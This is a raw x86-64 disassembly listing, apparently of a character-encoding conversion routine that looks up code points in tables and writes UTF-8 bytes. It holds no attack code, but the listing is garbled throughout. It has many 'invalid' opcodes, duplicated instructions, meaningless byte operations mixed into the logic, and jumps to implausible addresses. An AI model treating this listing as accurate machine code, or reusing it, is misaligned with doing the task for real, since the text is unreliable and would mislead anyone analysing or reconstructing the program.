mov edx, 0x437
xor r8d, r8d
lea rcx, [0x1401834e8]
mov r9d, 0xff
mov r10d, 0x437
jmp 0x140065993
mov r10, rdx
mov r11, rbx
sub rdx, r8
jbe 0x1400659cf
mov rbx, r11
shr rdx, 1
add rdx, r8
xor r11d, r11d
cmp word [rcx + rdx*2], ax
setne r11b
cmovb r11d, r9d
cmp r11b, 1
je 0x140065988
movzx r8d, r11b
cmp r8d, 0xff
jne 0x140065a23
inc rdx
mov r8, rdx
mov rdx, r10
mov r11, rbx
sub rdx, r8
ja 0x140065993
lea rdx, [r8 - 1]
cmp rdx, 0x437
jae 0x140068788
lea rdx, [0x140183d56]
add ax, word [rdx + r8*2 - 2]
sub ax, word [rcx + r8*2 - 2]
jmp 0x140065a31
mov r12, rbx
mov word [rbx + 8], 0x102
mov byte [rbx + 0xa], 0
jmp 0x140065861
mov word [r12 + 8], 0x102
mov byte [r12 + 0xa], 0
mov qword [r12], rcx
mov qword [r12 + 0x10], r10
jmp 0x140066f96
lea rax, [0x140183d56]
movzx eax, word [rax + rdx*2]
mov r11, rbx
movzx ecx, ax
mov edx, ecx
shr edx, 0xc
or dl, 0xe0
mov byte [rbp], dl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 1], cl
mov ecx, 3
mov edx, 2
and al, 0x3f
or al, 0x80
mov byte [rbp + rdx], al
mov eax, 1
lea rdx, [rsi + 8]
mov qword [rsp + 0x70], rdx
mov ebx, 0xff
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], r11
sub r11, rcx
jb 0x140068ae7
mov rbp, r12
lea r14, [rsi + rax]
mov rsi, qword [rsp + 0x38]
mov r12, r15
sub r12, rax
cmp r11, r12
mov r10, r12
cmovb r10, r11
lea r9, [rsi + rcx]
mov edx, r14d
xor edx, r9d
test dl, 7
jne 0x140065ac3
mov edx, r14d
neg edx
and edx, 7
lea r8, [rdx + 0x10]
cmp r8, r10
jbe 0x140065fff
xor r13d, r13d
cmp r13, r10
mov rsi, qword [rsp + 0x30]
jae 0x1400661d3
nop word cs:[rax + rax]
movzx edi, byte [r14 + r13]
test dil, dil
js 0x140065afb
mov byte [r9 + r13], dil
inc r13
cmp r10, r13
jne 0x140065ae0
jmp 0x1400661d3
mov r12, rbp
mov r15, qword [rsp + 0x28]
mov r8, qword [rsp + 0x50]
mov ebx, 0xff
lea rbp, [0x1401834e8]
add rax, r13
lea rdx, [rcx + r13]
mov qword [rsp + 0x48], rdx
add rcx, r13
add rcx, 2
cmp rcx, r8
jae 0x14006702c
inc rax
lea r10d, [rdi + 0x7f]
mov rcx, rdx
cmp r10b, 0x7d
lea r13, [0x1401845c4]
ja 0x1400669ba
cmp rax, r15
jae 0x1400669ac
movzx r9d, byte [rsi + rax]
lea r14, [rax + 1]
cmp r10b, 0x1f
jbe 0x140065ba8
lea edx, [r9 + 0x5f]
add dil, 0x5f
cmp dl, 0x5e
jae 0x140065bb7
movzx r8d, dil
imul r9, r8, 0x5e
movzx r11d, dl
lea r8, [r9 + r11]
add r8, 0xfffffffffffffa7e
add r9, r11
cmp r8, 0x92e
jae 0x140065bdb
lea rdx, [0x140184e20]
movzx edx, word [rdx + r9*2 - 0xb04]
jmp 0x140065dc1
lea edx, [r9 + 0x7f]
cmp dl, 0x7e
jae 0x140065bc9
add r9b, 0xb3
jmp 0x140065bd6
lea edx, [r9 + 0x7f]
cmp dl, 0x20
jae 0x140065c28
lea edx, [r9 - 0x4d]
jmp 0x140065d20
lea edx, [r9 - 0x61]
cmp dl, 0x1a
jae 0x140065c3e
add r9b, 0xb9
mov edx, r9d
jmp 0x140065c4b
cmp r9d, 0xa5
jae 0x140065cea
lea rdx, [0x1401886ac]
movzx edx, word [rdx + r9*2]
cmp edx, 0x800
jae 0x140065ce2
mov r8d, edx
shr r8d, 6
or r8b, 0xc0
mov r9, qword [rsp + 0x38]
mov byte [r9 + rcx], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rcx + 1], dl
add rcx, 2
jmp 0x140065df8
lea edx, [r9 - 0x61]
cmp dl, 0x1a
jae 0x140065d13
lea edx, [r9 - 0x47]
jmp 0x140065d20
lea edx, [r9 - 0x41]
cmp dl, 0x1a
jae 0x1400670b0
movzx r8d, r10b
imul r8d, r8d, 0xb2
movzx edx, dl
add edx, r8d
mov r9d, 0x437
xor r10d, r10d
mov r11d, 0x437
jmp 0x140065c78
mov r11, r9
sub r9, r10
jbe 0x140065cb0
shr r9, 1
add r9, r10
xor r8d, r8d
cmp word [rbp + r9*2], dx
setne r8b
cmovb r8d, ebx
cmp r8b, 1
je 0x140065c70
movzx r8d, r8b
cmp r8d, 0xff
jne 0x140065cd6
inc r9
mov r10, r9
mov r9, r11
sub r9, r10
ja 0x140065c78
lea r8, [r10 - 1]
cmp r8, 0x437
jae 0x140068788
lea r8, [0x140183d56]
add dx, word [r8 + r10*2 - 2]
sub dx, word [rbp + r10*2 - 2]
jmp 0x140065ce2
lea rdx, [0x140183d56]
movzx edx, word [rdx + r9*2]
movzx edx, dx
jmp 0x140065dc1
lea r8, [r9 - 0xf0e]
cmp r8, 0x1318
jae 0x140065e88
lea rdx, str.OsOGP
movzx edx, word [rdx + r9*2 - 0x1e1c]
jmp 0x140065dc1
lea edx, [r9 - 0x41]
cmp dl, 0x1a
jae 0x1400670b0
movzx r8d, dil
imul r8, r8, 0x54
movzx edx, dl
add rdx, r8
cmp rdx, 0xc36
jae 0x1400670b0
mov r9d, 0x217
xor r10d, r10d
mov r11d, 0x217
jmp 0x140065d54
mov r11, r9
sub r9, r10
jbe 0x140065d8c
shr r9, 1
add r9, r10
xor r8d, r8d
xor eax, eax
xor eax, eax
cmp word [r13 + r9*2], dx
setne r8b
cmovb r8d, ebx
cmp r8b, 1
invalid
je 0x140065d4c
add dword [rbx + rbx*8 + 0x45], esi
movzx eax, al
movzx r8d, r8b
cmp r8d, 0xff
cmp eax, 0xff
jne 0x140065db2
inc r9
mov r10, r9
mov r9, r11
sub r9, r10
ja 0x140065d54
lea r8, [r10 - 1]
cmp r8, 0x217
jae 0x14006880a
lea r8, [0x1401849f2]
add dx, word [r8 + r10*2 - 2]
sub dx, word [r13 + r10*2 - 2]
jmp 0x140065dbe
lea rdx, [0x1401849f2]
movzx edx, word [rdx + r9*2]
movzx edx, dx
mov r8d, edx
shr r8d, 0xc
or r8b, 0xe0
mov r9, qword [rsp + 0x38]
mov byte [r9 + rcx], r8b
mov r8d, edx
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [r9 + rcx + 1], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rcx + 2], dl
add rcx, 3
mov qword [rsp + 0x48], rcx
cmp r14, r15
jae 0x1400669fa
lea rdx, [rcx + 2]
cmp rdx, qword [rsp + 0x40]
jae 0x140066a47
movzx edi, byte [rsi + rax + 1]
add rax, 2
test dil, dil
js 0x140065e75
nop word cs:[rax + rax]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rcx], dil
mov rdx, qword [rsp + 0x48]
lea rcx, [rdx + 1]
mov qword [rsp + 0x48], rcx
cmp dil, 0x3b
ja 0x1400660da
cmp r15, rax
je 0x14006620b
add rdx, 3
cmp rdx, qword [rsp + 0x40]
jae 0x14006621a
add byte [rax], al
add byte [rax], al
movzx edi, byte [rsi + rax]
inc rax
test dil, dil
jns 0x140065e30
lea r10d, [rdi + 0x7f]
cmp r10b, 0x7d
cmp dl, 0x7d
jbe 0x140065b4b
jmp 0x1400669ba
cmp r10b, 0x27
jne 0x140065ea9
cmp dl, 0xf
jae 0x140065ea9
lea rdx, [0x1401887f6]
movzx edx, word [rdx + r11*2]
test dx, dx
jne 0x140065ec0
jmp 0x140068594
cmp r10b, 0x28
jne 0x140065eff
cmp dl, 0x10
jae 0x140065eff
lea rdx, [0x140188814]
movzx edx, word [rdx + r11*2]
mov r8d, edx
shr r8d, 6
or r8b, 0xc0
mov r9, qword [rsp + 0x38]
cmp byte [rbp - 0x78], al
add al, 9
mov rcx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
lea r9, [r8 + 1]
cmp r10b, 0x25
jne 0x140065f1b
cmp dl, 0x44
jae 0x140065f1b
lea rdx, [0x140188834]
movzx edx, word [rdx + r11*2]
jmp 0x140065dc1
add r9, 0xffffffffffffff44
cmp r9, 0x39f
jae 0x140068594
mov edx, 0x4d
xor r10d, r10d
mov r11d, 0x4d
jmp 0x140065f47
mov r11, rdx
sub rdx, r10
jbe 0x140065f85
shr rdx, 1
add rdx, r10
xor r8d, r8d
lea rdi, [0x1401888bc]
cmp word [rdi + rdx*2], r9w
setne r8b
cmovb r8d, ebx
cmp r8b, 1
je 0x140065f3f
movzx r8d, r8b
cmp r8d, 0xff
jne 0x140065faf
inc rdx
mov r10, rdx
mov rdx, r11
sub rdx, r10
ja 0x140065f47
lea rdx, [r10 - 1]
cmp rdx, 0x4d
jae 0x140068aa3
lea rdx, [0x140188958]
add r9w, word [rdx + r10*2 - 2]
lea rdx, [0x1401888bc]
adc eax, 0x66001229
sub r9d, dword [rdx + r10*2 - 2]
jmp 0x140065fbb
lea r8, [0x140188958]
movzx edx, r9w
cmp edx, 0x80
jb 0x140068594
cmp edx, 0x800
jae 0x140065dc1
mov edx, r9d
shr edx, 6
or dl, 0xc0
mov r8, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
mov byte [r8 + rcx], dl
and r9b, 0x3f
and cl, 0x3f
and cl, 0x3f
or r9b, 0x80
mov byte [r8 + rcx + 1], r9b
add rcx, 2
jmp 0x140065df8
test rdx, rdx
je 0x1400660ed
mov r11, qword [rsp + 0x40]
cmp rax, r15
jbe 0x140065a75
jmp 0x140068cf5
xor r13d, r13d
lea rdx, [r10 - 0x10]
add rsi, rcx
add rsi, 8
mov r8, qword [rsp + 0x70]
lea rdi, [r8 + rax]
mov r15, qword [rdi + r13 - 8]
mov rbx, qword [rdi + r13]
sbb al, 0x2f
mov qword [rsi + r13 - 8], r15
mov qword [rsi + r13], rbx
sbb al, 0x2e
movabs r8, 0x8080808080808080
and r15, r8
invalid
and rbx, r8
add byte [rax + 0x4cc7214d], 0x21
ret
invalid
in al, dx
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov r8, qword [rsp + 0x50]
mov ebx, 0xff
add byte [rax], al
add byte [rax], al
lea rbp, [0x1401834e8]
jmp 0x1400661c6
add bl, ch
pop rbp
xor r13d, r13d
mov r12, rbp
mov rsi, qword [rsp + 0x30]
mov r8, qword [rsp + 0x50]
jmp 0x140065b0d
invalid
invalid
mov esp, ebp
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
jmp 0x140065b03
stc
invalid
invalid
stc
invalid
add r13, rdx
movzx edi, byte [r14 + r13]
jmp 0x140065b14
xor r8d, r8d
cmp r11, r12
setb r8b
add rax, r10
add rcx, r10
mov rdx, rcx
mov r12, rbp
lea rcx, [rsp + 0x38]
and rcx, 0xffffffffffffff00
or rcx, r8
mov qword [r12], rax
mov qword [r12 + 8], rcx
mov qword [r12 + 0x10], rdx
jmp 0x140066f96
mov byte [r12 + 8], 0
mov qword [r12], r15
jmp 0x14006588c
mov byte [r12 + 8], 1
mov qword [r12], rax
jmp 0x14006588c
cmp byte [rsp + 0x120], 0
jne 0x140066b16
mov byte [rdx + 1], 1
mov byte [rdx + 2], cl
mov byte [r12 + 8], 0
jmp 0x14006716c
movzx edx, byte [rdi + 0xc]
mov byte [rdi + 9], 0
add byte [rcx - 0x80], al
rcl eax, 0x41
cmp cl, 9
add byte [rcx - 0x80], al
rcl eax, 0x41
cmp cl, 9
jbe 0x140066a99
add r11b, 0x30
mov byte [rdi + 7], 1
mov byte [rdi + 8], r11b
mov byte [rdi + 9], 1
or dword [r9], r8d
mov byte [rdi + 0xa], dl
mov word [r12 + 8], 0x102
or byte [rdx], al
invalid
or byte [rdx], al
add dword [rcx - 0x3a], eax
invalid
invalid
mov byte [r12 + 0xa], 2
jmp 0x14006629c
add r11b, 0x30
mov byte [rdi + 7], 1
and al, 8
add al, byte [rcx]
mov byte [r12 + 0xa], 1
mov qword [r12], r10
mov qword [r12 + 0x10], rax
jmp 0x140066f96
cmp dl, 0x1f
jbe 0x140066b29
invalid
lea r11d, [r9 + 0x5f]
cmp r11b, 0x5e
jae 0x14006717a
lea r10d, [rdx - 0x2f]
cmp r10b, 0x48
jae 0x140067d52
invalid
movzx edx, r10b
imul rdx, rdx, 0x5e
movzx r8d, r11b
add r8, rdx
movzx edx, word [rdx + rax*2]
jmp 0x1400683ec
add byte [rax + 0x12024bc], al
add byte [rax], al
add byte [rdi], cl
test byte [rsi], dl
or dword [rax], eax
add byte [rsi + 0x41], ah
mov dword [rsp + 8], 0x58e90102
sldt word [rax]
cmp byte [rsp + 0x120], 0
je 0x140066c13
mov word [r12 + 8], 0x102
jmp 0x140067262
cmp cl, 4
jne 0x140066ca3
cmp dl, 0x56
jae 0x140066ca3
mov qword [rsp + 0x60], rdi
movzx eax, dl
add eax, 0x30a1
mov byte [rbp], 0xe3
mov ecx, eax
shr ecx, 6
jmp 0x147e7e33b
or cl, 0x80
mov byte [rbp + 1], cl
and al, 0x3f
or al, 0x80
invalid
mov byte [rbp + 2], al
mov ecx, 3
mov ebp, 1
mov byte [rdi + 1], 3
mov byte [rdi + 2], cl
cmp r15, 1
inc dword [rcx]
jne 0x140066cea
mov dl, 3
mov eax, 1
cmp byte [rsp + 0x120], 0
jne 0x1400645cd
push rsi
loop 0x140066375
invalid
push rsi
loop 0x140066375
invalid
inc dword [rcx - 0x3a]
and al, 8
add byte [rcx - 0x77], cl
add al, 0x24
mov byte [r12 + 8], 0
mov qword [r12], rax
jmp 0x140066f8d
or al, 0
add byte [0x140066430], bh
cmp eax, 0xa5
jae 0x140066e9d
lea rcx, [0x1401886ac]
adc al, byte [rax]
movzx eax, word [rcx + rax*2]
cmp eax, 0x800
or byte [rax], al
add byte [rdi], cl
invalid
mov dh, dh
invalid
invalid
or byte [rax], al
add byte [rdi], cl
or dword [rdx - 0x1600000a], 0x45
sbb al, byte [rax]
add byte [rbp - 0x57f60af], cl
sbb cl, byte [rdi]
or dword [0xcd0663c5], 0x51
lea edx, [rcx - 0x47]
jmp 0x140066ed1
lea eax, [rcx - 0x41]
cmp al, 0x1a
jmp 0x140067df1
lea edx, [rcx - 0x61]
cmp dl, 0x1a
jae 0x140066ec5
lea eax, [rcx - 0x41]
cmp al, 0x1a
jb 0x14006595a
jmp case.0x1400646f9.1134
lea edx, [rsi - 0x41]
movzx ecx, dl
cmp al, 2
jne 0x14006641b
cmp dl, 0x56
cli
push rsi
jae 0x14006641b
add ecx, 0x30a1
mov byte [rbp], 0xe3
mov eax, ecx
shr eax, 6
and al, 7
or al, 0x80
mov byte [rbp + 1], al
and cl, 0x3f
loope 0x140066437
loope 0x140066437
mov ecx, 1
mov eax, 3
mov rsi, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
jmp fcn.14006734b
add byte [rax - 0x77], cl
sti
mov rbx, rdi
mov rdi, r12
movzx eax, al
mov dh, 0xc0
imul rax, rax, 0xbc
lea r12, [rax + rcx]
add rax, rcx
add rax, 0xfffffffffffffa7e
add eax, 0xfffffa7e
add eax, 0xfffffa7e
dec dword [rax + 0x3d]
xchg ebp, eax
or eax, dword [rax]
add byte [rdi], cl
or dword [rbp + 0x48000005], 0xffffff8d
cmp rax, 0xb95
jae 0x1400669d1
lea rax, [0x14017fde4]
add eax, 0x119999
movzx eax, word [rax + r12*2 - 0xb04]
jmp 0x14006730d
test byte [rax - 4], ah
hlt
mov byte [rsi + 3], 5
mov r12, rbx
fsub qword [rsi - 0x39]
or byte [r10], al
add esi, eax
or al, byte [r9]
fsub qword [rsi - 0x39]
or byte [r10], al
add esi, eax
or al, byte [r9]
jmp 0x140065861
mov r12, rbx
mov word [rbx + 8], 0x302
mov byte [rbx + 0xa], 3
or al, byte [rbx]
or al, byte [rbx]
jmp 0x140065861
mov edx, 1
jmp 0x14006399c
mov word [rbp], 0xaac3
mov byte [rbp + 2], 0xcc
mov ecx, 4
mov al, 0x84
jmp 0x1400664b7
mov word [rbp], 0x8ac3
jmp 0x1400664ac
mov word [rbp], 0xaac3
mov byte [rbp + 2], 0xcc
mov ecx, 4
mov al, 0x8c
mov edx, 3
mov qword [rsp + 0x60], rdi
mov byte [rbp + rdx], al
mov qword [rsp + 0x48], rcx
mov eax, 1
mov qword [rsp + 0x58], r12
lea rdx, [rsi + 8]
mov qword [rsp + 0x50], rdx
add rsi, rax
mov r13, qword [rsp + 0x38]
mov rdi, r15
sub rdi, rax
invalid
mov r14, r11
sub r14, rcx
cmp r14, rdi
mov rbx, rdi
cmovb rbx, r14
lea r12, [rcx + r13]
mov edx, r12d
xor edx, esi
test dl, 7
jne 0x14006651c
mov r10d, esi
neg r10d
and r10d, 7
lea rdx, [r10 + 0x10]
cmp rdx, rbx
jbe 0x14006654f
xor r15d, r15d
cmp r15, rbx
jae 0x14006691d
cmc
add eax, dword [rax]
invalid
nop dword [rax + rax]
movzx ebp, byte [rsi + r15]
test bpl, bpl
mov dh, 0x2c
test bpl, bpl
js 0x1400666aa
mov byte [r12 + r15], bpl
inc r15
cmp rbx, r15
jne 0x140066530
jmp 0x14006691d
add eax, dword [rax]
test r10, r10
je 0x14006662c
movzx ebp, byte [rsi]
test bpl, bpl
js 0x1400666a7
mov byte [r12], bpl
cli
add dword [rdi], ecx
je 0x14006662f
movzx ebp, byte [rsi + 1]
invalid
invalid
je 0x14006662f
add byte [rax], al
movzx ebp, byte [rsi + 1]
test bpl, bpl
in eax, dx
js 0x1400666aa
mov byte [0x181066587], ah
mov byte [rsp + 1], ch
mov byte [r12 + 1], bpl
mov r15d, 2
add byte [rax], al
cmp r10d, 2
je 0x14006662f
xor r15d, r15d
lea r10, [rbx - 0x10]
lea edx, [rbx - 0x10]
add r13, rcx
add r13, 8
mov rdx, qword [rsp + 0x50]
push rsp
and al, 0x50
push rax
push rax
lea rbp, [rdx + rax]
mov r9, qword [rbp + r15 - 8]
mov r8, qword [rbp + r15]
cmp eax, 0x4c894f00
cmp eax, 0x44894ff8
cmp eax, 0x80ba4800
add byte [rax - 0x7f7f7f80], 0x80
add byte [rdi - 0x77], cl
cmp rax, 0x44894ff8
cmp eax, 0x80ba4800
add byte [rax - 0x7f7f7f80], 0x80
and r9, rdx
and r8, rdx
mov rdx, r8
or rdx, r9
jne 0x14006667d
add r15, 0x10
cmp r15, r10
jbe 0x140066643
jmp 0x14006651f
test r9, r9
je 0x1400668ca
tzcnt r10, r9
bsf edx, ecx
shr r10d, 3
mov rbx, qword [rsp + 0x58]
lea r14, [0x140176180]
xor eax, 0x10fae5
xor eax, 0x10fae5
lea r12, [0x1402088ec]
jmp 0x1400668f7
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbp + 0x31], al
dec dword [rax - 0x75]
pop rsp
and al, 0x58
xor r15d, r15d
mov rbx, qword [rsp + 0x58]
lea r14, [0x140176180]
retf 0x10fa
adc byte [rax], al
lea r12, [0x1402088ec]
lea rsi, [r15 + rcx]
add rcx, r15
add ecx, edi
add ecx, edi
add rcx, 3
cmp rcx, r11
jae 0x140066913
invalid
add byte [rcx - 0x73], cl
or al, 7
lea rcx, [r15 + rax]
add rcx, 2
mov r15, qword [rsp + 0x28]
sbb eax, 0x1103cf
mov rax, rcx
dec rcx
add bpl, 0x7f
jg 0x140066730
cmp ch, 0x7d
jg 0x140066730
cmp ch, 0x7d
ja 0x14006695c
cmp rcx, r15
jae 0x140066952
mov rdx, qword [rsp + 0x30]
movzx edi, byte [rdx + rax - 1]
add bh, bh
add bh, bh
lea edx, [rdi - 0x40]
cmp dl, 0x3e
jbe 0x140066723
lea edx, [rdi + 1]
cmp dl, 0xa2
jb case.0x1400667be.1134
lea edx, [rdi - 0x62]
movzx r8d, bpl
imul r8, r8, 0x9d
imul eax, eax, 0x9d
imul eax, eax, 0x9d
movzx r9d, dl
mov dh, 0xca
lea rdx, [r8 + r9]
add r9, r8
add r9, 0xfffffffffffffc52
add ecx, 0xfffffc52
add ecx, 0xfffffc52
cmp r9, 0x4998
jae 0x1400667a6
movzx r10d, word [r11 + rdx*2 - 0x75c]
test r10w, r10w
je 0x1400667a6
mov rcx, r9
shr rcx, 5
mov ecx, dword [r14 + rcx*4]
bt ecx, r9d
movzx ecx, r10w
jae 0x140066833
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rsi], pe_nt_image_headers64
mov r8d, ecx
shr r8d, 0xc
or r8b, 0xa0
mov byte [rdx + rsi + 1], r8b
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rdx + rsi + 2], cl
and r10b, 0x3f
or r10b, 0x80
mov byte [rdx + rsi + 3], r10b
jmp 0x1400667f6
add rdx, 0xfffffffffffffb93
cmp rdx, 0x21
ja case.0x1400667be.1134
movsxd rdx, dword [r12 + rdx*4]
add rdx, r12
jmp rdx
mov rcx, qword [rsp + 0x38]
mov dword [rcx + rsi], 0x84cc8ac3
jmp 0x1400667f6
mov rcx, qword [rsp + 0x38]
mov dword [rcx + rsi], 0x8ccc8ac3
mov rcx, qword [rsp + 0x38]
mov dword [rcx + rsi], 0x8cccaac3
jmp 0x1400667f6
mov rcx, qword [rsp + 0x38]
mov dword [rcx + rsi], 0x84ccaac3
mov ecx, 4
add rsi, rcx
mov qword [rsp + 0x48], rsi
cmp rax, r15
jae 0x140066968
lea rcx, [rsi + 3]
cmp rcx, qword [rsp + 0x40]
jae 0x140066971
mov rcx, qword [rsp + 0x30]
movzx ebp, byte [rcx + rax]
lea rcx, [rax + 2]
test bpl, bpl
js 0x1400666e5
jmp 0x140066896
cmp ecx, 0x800
jae 0x140066860
mov ecx, r10d
shr ecx, 6
jmp 0x100cfe84a
mov rdx, qword [rsp + 0x38]
leave
ror byte [rax - 0x75], 0x54
and al, 0x38
mov byte [rdx + rsi], cl
and r10b, 0x3f
or r10b, 0x80
mov byte [rdx + rsi + 1], r10b
mov ecx, 2
jmp 0x1400667fb
mov edx, ecx
shr edx, 0xc
or dl, 0xe0
mov r8, qword [rsp + 0x38]
mov byte [r8 + rsi], dl
mov byte [rax + rsi], dl
mov byte [rax + rsi], dl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [r8 + rsi + 1], cl
and r10b, 0x3f
or r10b, 0x80
mov byte [r8 + rsi + 2], r10b
mov ecx, 3
jmp 0x1400667fb
inc rax
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
mov byte [rcx + rsi], bpl
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
inc rcx
mov qword [rsp + 0x48], rcx
mov r11, rdx
cmp rcx, rdx
mov rsi, qword [rsp + 0x30]
jbe 0x1400664dd
jmp case.0x140037de3.341
jnp 0x1400668ec
add byte [rax], al
test r8, r8
mov rbx, qword [rsp + 0x58]
lea r14, [0x140176180]
lea r12, [0x1402088ec]
je 0x1400668e9
tzcnt r10, r8
jmp 0x1400668ef
mov r10d, 0x40
add byte [rax], al
add byte [rcx - 0x3f], al
invalid
shr r10d, 3
add r10, 8
add r15, r10
movzx ebp, byte [rsi + r15]
lea rsi, [r15 + rcx]
add rcx, r15
add rcx, 3
cmp rcx, r11
jb 0x1400666d1
add rax, r15
mov edx, 1
jmp 0x140066933
xor edx, edx
cmp r14, rdi
setb dl
add rax, rbx
add rcx, rbx
mov rsi, rcx
mov rbx, qword [rsp + 0x58]
lea rcx, [rsp + 0x38]
and rcx, 0xffffffffffffff00
or rcx, rdx
mov qword [rbx], rax
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rsi
jae 0x14006695d
jmp 0x140066f96
cmp byte [rsp + 0x120], 0
je 0x14006698f
mov word [rbx + 8], 0x102
mov byte [rbx + 0xa], 0
jmp 0x1400669a0
mov byte [rbx + 8], 0
jmp 0x140066be5
mov byte [rbx + 8], 1
jmp 0x140066be5
mov byte [rbx + 8], 2
test dil, dil
js 0x140066bdf
mov word [rbx + 9], 1
jmp 0x1400669a0
mov rax, qword [rsp + 0x60]
mov byte [rax + 1], 1
mov byte [rax + 2], bpl
mov byte [rbx + 8], 0
mov qword [rbx], rcx
mov qword [rbx + 0x10], rsi
jmp 0x140066f96
cmp byte [rsp + 0x120], 0
je 0x140067037
mov word [r12 + 8], 0x102
mov byte [r12 + 0xa], 0
mov qword [r12], rax
jmp 0x14006588c
lea rax, [r12 - 0x1142]
cmp rax, 0xd3e
jae 0x140067053
lea rax, [0x14018150e]
movzx eax, word [rax + r12*2 - 0x2284]
jmp 0x14006730d
mov byte [r12 + 8], 0
mov qword [r12], r14
jmp 0x14006588c
movzx ecx, ax
cmp ecx, 0x800
jae 0x140067086
mov ecx, eax
shr ecx, 6
or cl, 0xc0
mov byte [rbp], cl
and al, 0x3f
or al, 0x80
mov ecx, 2
mov edx, 1
jmp 0x1400664bc
mov byte [r12 + 8], 1
mov qword [r12], r14
jmp 0x14006588c
mov rax, qword [rsp + 0x58]
movzx edx, dl
imul r8, r8, 0x3138
movzx r10d, r11b
imul r10, r10, 0x4ec
add r10, r8
lea rdx, [rdx + rdx*4]
adc al, 0x92
movzx r8d, r9b
add r8, r10
lea rdx, [r8 + rdx*2]
cmp rdx, 0x99fc
jae 0x1400670dc
cmp edx, 0x1d21
jne 0x140067c59
mov word [rbp + rax], 0x9fee
mov byte [rbp + rax + 2], 0x87
mov rsi, qword [rsp + 0x30]
jmp 0x14006841a
cmp byte [rsp + 0x120], 0
jne 0x140066b16
mov byte [rdx + 1], 2
mov byte [r12 + 8], 0
jmp 0x14006716c
cmp byte [rsp + 0x120], 0
je 0x140067149
mov word [r12 + 8], 0x102
mov byte [r12 + 0xa], 0
jmp 0x14006716c
lea edx, [r9 - 0x40]
cmp dl, 0x3e
jbe 0x140066b43
cmp r9b, 0xfe
jg 0x140067192
add r9b, 0xbf
mov edx, r9d
mov rbx, rdi
movzx r8d, r8w
imul r8d, r8d, 0xbe
movzx edx, dl
add edx, r8d
mov r9d, 0x77c
xor r10d, r10d
lea r8, [0x14018b984]
mov word [rbx + 9], 2
mov qword [rbx], rax
mov qword [rbx + 0x10], rsi
jmp 0x140066f96
add byte [rax], al
mov byte [r12 + 8], 2
test r8b, r8b
jns 0x140067164
jmp 0x140066c7b
mov byte [r12 + 8], 2
test r9b, r9b
jns 0x140067164
jmp 0x140066c7b
mov rcx, qword [rsp + 0x60]
mov byte [rcx + 9], 1
mov byte [rcx + 0xa], dl
mov byte [r12 + 8], 0
jmp 0x140067268
cmp byte [rsp + 0x120], 0
je 0x1400671ae
mov word [r12 + 8], 0x202
mov byte [r12 + 0xa], 0
jmp 0x1400671bc
cmp byte [rsp + 0x120], 0
je 0x1400671ca
mov word [r12 + 8], 0x202
mov byte [r12 + 0xa], 0
jmp 0x140067218
mov byte [r12 + 8], 2
test r9b, r9b
js 0x1400672dc
mov word [r12 + 9], 2
jmp 0x1400671bc
mov byte [rdi + 7], 1
mov byte [rdi + 8], r9b
mov word [r12 + 8], 0x102
mov byte [r12 + 0xa], 1
jmp 0x140067218
cmp dl, 0x5d
ja 0x140065913
movzx eax, cl
imul rcx, rax, 0x5e
movzx edx, dl
lea rax, [rcx + rdx]
add rcx, rdx
add rcx, 0xfffffffffffffa7e
cmp rcx, 0xb95
mov qword [rsp + 0x60], rdi
jae 0x140067dab
lea rcx, [0x14017fde4]
movzx eax, word [rcx + rax*2 - 0xb04]
jmp 0x14006802d
movzx eax, byte [rsi + 1]
mov ebp, 2
mov edx, 1
mov byte [rdi + 1], 0
lea r8d, [rax + 0x5f]
cmp r8b, 0x5d
ja 0x1400658ba
movzx eax, cl
imul rcx, rax, 0x5e
movzx edx, r8b
lea rax, [rcx + rdx]
add rcx, rdx
add rcx, 0xfffffffffffffa7e
cmp rcx, 0x16a9
mov qword [rsp + 0x60], rdi
jae 0x140066d6c
lea rcx, [0x1401889f2]
movzx eax, word [rcx + rax*2 - 0xb04]
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov rdx, qword [rsp + 0x110]
mov byte [rdx], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
leave
or byte [rax + 0x3f24014a], 0xc
or byte [rax + 0x5de90242], 5
add byte [rax], al
leave
or byte [rax + 0x3f24014a], 0xc
or byte [rax + 0x5de90242], 5
add byte [rax], al
lea rdx, [rax - 0x6c]
mov ecx, 2
cmp rdx, 0xb
jb 0x140066e40
lea rdx, [rax - 0x7f]
lea r8, [0x14018b942]
movzx ecx, word [r8 + rcx*2]
add rcx, rdx
cmp rcx, 0xff
jae 0x1400687a2
add dword [rsi + 0x19], 0
invalid
lea rdx, [0x14018b744]
movzx ecx, word [rdx + rcx*2]
test cx, cx
je 0x140067230
movzx eax, cx
cmp eax, 0x800
jae 0x1400672a1
mov eax, ecx
shr eax, 6
or al, 0xc0
mov rdx, qword [rsp + 0x110]
mov byte [rdx], al
and cl, 0x3f
or cl, 0x80
mov byte [rdx + 1], cl
jmp 0x140067e3e
lea r9, [rax - 0xf0e]
cmp r9, 0x1318
jae 0x1400671d7
lea rcx, str.OsOGP
movzx eax, word [rcx + rax*2 - 0x1e1c]
invalid
jmp 0x14006355c
invalid
lea edx, [rcx - 0x41]
cmp dl, 0x1a
jae case.0x1400646f9.1134
movzx eax, al
imul r8, rax, 0x54
movzx eax, dl
add rax, r8
cmp rax, 0xc36
jae case.0x1400646f9.1134
mov edx, 0x217
xor r8d, r8d
lea rcx, [0x1401845c4]
mov r9d, 0xff
mov r10d, 0x217
jmp 0x140066f12
invalid
mov r10, rdx
mov r11, rbx
sub rdx, r8
jbe 0x140066f52
mov rbx, r11
